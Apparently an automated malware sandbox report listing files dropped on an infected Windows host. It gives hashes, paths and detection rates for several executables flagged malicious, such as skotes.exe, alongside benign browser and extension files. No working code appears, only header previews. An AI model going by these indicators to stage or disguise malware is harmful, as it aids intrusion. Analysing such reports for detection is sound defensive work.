Entropy (8bit):	6.591536501348857
Encrypted:	false
SSDEEP:	12288:uqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgarTU:uqDEvCTbMWu7rQYlBQcBiT6rprG8avU
MD5:	016C4FB48BA8451E45562E05A9F972E5
SHA1:	7B7638D6AEAEA727D21E39597FAA116569FC9D49
SHA-256:	D794430A712471CBC5D708A75A1D4D531F179DAAE98661600D14932F8E238EF6
SHA-512:	F2B62319B77E7AE73284DEAE1E73EF39D5CDB027163E071A7A651A545DA9DB0C70C25B6CEB2C3DA31556D03F6350701F824ACA481FABFDD903D0C617C7FFC45C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....;g.........."..........b......w.............@..........................p......u.....@...@.......@.....................d...\|....@..X........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...X....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2819584
Entropy (8bit):	6.474855854821324
Encrypted:	false
SSDEEP:	49152:1zUjJczMzglQ12iPWOOPB3jbB9LB6kUlLgHSj+z:1zUjJ+Mz6Q12i+tFijjO
MD5:	CE95AE34C1E8E0697B888A5357ADF7FB
SHA1:	F20AC8415050A48A0FFE5607BDF854D532F39EFD
SHA-256:	4277DFE0FF849C665A40CE3890CF70EA4ECCDDE53D5CF2A7B69FDAE66C988D37
SHA-512:	F9FFD3865994D60B6A45194251BFF7C8A4147ADAA0FBE8E03028987F1C6A0C25435CF9A1A533EC546CDD00ECD24C20616C9B3808568E36CAEAE303BE66D5C58A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Reputation:	unknown
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................+.......+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...ogtxsohc...........:..............@...iyarjevt. ...`+....................@....taggant.@....+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2fadb55b-a71b-4514-a183-80f52f6b2b4a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1537125
Entropy (8bit):	7.992738601654278
Encrypted:	true
SSDEEP:	24576:o/B+Iv+0LrE7F1vfIH85LjbqigBFvsCf5kFpRHtpYpDmwYMLSwQb9istzfnhyclw:y+Y+03EBtf/5XbKb0Cf6RIpDmwY+pQ5W
MD5:	2150EC60358F81857E4F1B5408DAB23C
SHA1:	3D7F9083744BAB323DC8C0F5146DD59E14680A10
SHA-256:	C57508FCD98F2433452680DC620ECCD4E73ECA66D3D652C704DB7BEEAC1FD62F
SHA-512:	7F17BBEF870EA23D0037B75059714E4034CAC76AA6EA75EF0854F2006E0995B873FB3529E71DB23D7CEB17B480B70CDB83D50058759D914ED84F803008F5ECB5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...2...2......?.....?iCCPICC Profile..H..W.XS...[.....@@J.M......B..6B. ...A...v...].Q..bG.,../.T.u.`W............9.3...{....<.$... _\(...d.JMc.......8.K..@......../..D.^q.k.....-.......q......~...DZ..Q.[L..1.@G...x..g)q..g(.n.Mb<..V..<.4...%.3..YP.....X ....../?....t.m...b.>+.....if.j.xY.X9.EQ...H.xS..t..'..a.+5[../.3......rL..G.....6..D..=.(%[....G.....3...........!..H...)..B.W.:YT.M.X........F.x./.!S.a...<....}Yn.[..:[.U.c......).[....!.C.T......Y.........[B./......LiH..,.``...l.7Z...f'.)..y...\.KB1;i@GX0r`..aP.r..3.8)A..AR.....S$y.{.\....!v+(JP....T....De.xq./<V....D....L .5.L.9@......=!... ............k.(..B$.......BP........2..E....... ...{.b.x.[2x...?..`..x.`...{~...!..bd.......`b.1..B...q?......X]p..50....'...C.5B'..xQ...(.@'..Q."..\..P....}.:T..pC...A?l..zv.,G..<+...6......LF.C..d.G.....\...e..........C............`'.s.a..0.cX........X.....+..:....x..L.8.:w;.Q...'...3A2E*...d...A...N......./...8.w..k.......c.....s......

C:\Users\user\AppData\Local\Temp\3ed8c6e4-a1a2-4473-8f5b-f6b09bfd26c0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Reputation:	unknown
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsHDGCAAFBFB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1925632
Entropy (8bit):	7.9493353469198755
Encrypted:	false
SSDEEP:	49152:HtFr02btiDdtfmHnzQz6084x/zk+2liU0up:H3rvUfmHzQe0r2liRup
MD5:	542EE57C01AF5BE82D6F8CE3D1D9330F
SHA1:	0219E3B1C42045F73A41E977B02625C528321826
SHA-256:	D1B6E19A825BDEEEF8425C5FF8B5872744155213F66D251D20D0BB4F4CCA57CE
SHA-512:	2B8C9D6B5F496C889BB517F556CA786B2C7325F2A669B2B59ACE5FCF0E3CBDDE38BBC223A92B7CA9AF2388A43D97C392911E4A1D4D386F41295B19A935A29811
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 53%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. L...........@..........................PL...........@.................................W...k.......H...................D.K...............................K..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..+.........................@...lcjijwvn.P....1..D..................@...ecvanuxr......L......:..............@....taggant.0... L.."...@..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\b3d0e12b-38cb-4019-997d-b8c0fd799a45.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Reputation:	unknown
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\cc645f46-2dcb-45c0-8fd7-702fe89e0d69.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Reputation:	unknown
Preview:	.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.3971129340628075
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx05O4UQ5qOjk05L:JIVuwEw5MUFZLBQLtTUTKu+M
MD5:	98EB079F41D9D61F777839817D458A58
SHA1:	27F8E236E5D4B514C57A46837E29EA07667D4FF8
SHA-256:	3A10278E591F372920A4E42B1C43F898DF7F17C208770DC0A3C64B14956AC789
SHA-512:	484D5EC24C5681C9636DAA98E9A3D86DC61FE7B31C4012D8B61918FFF762571AD5158CB77BD2B8586679D9F37D9ED028485AC229CDECA69AFA734F445E018AA1
Malicious:	false
Reputation:	unknown
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\fd3b17dc-2b70-463f-8b64-05d92e18c923.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Reputation:	unknown
Preview:	.

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\0d99413b-b556-4da9-a14f-641659f488ad.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Reputation:	unknown
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
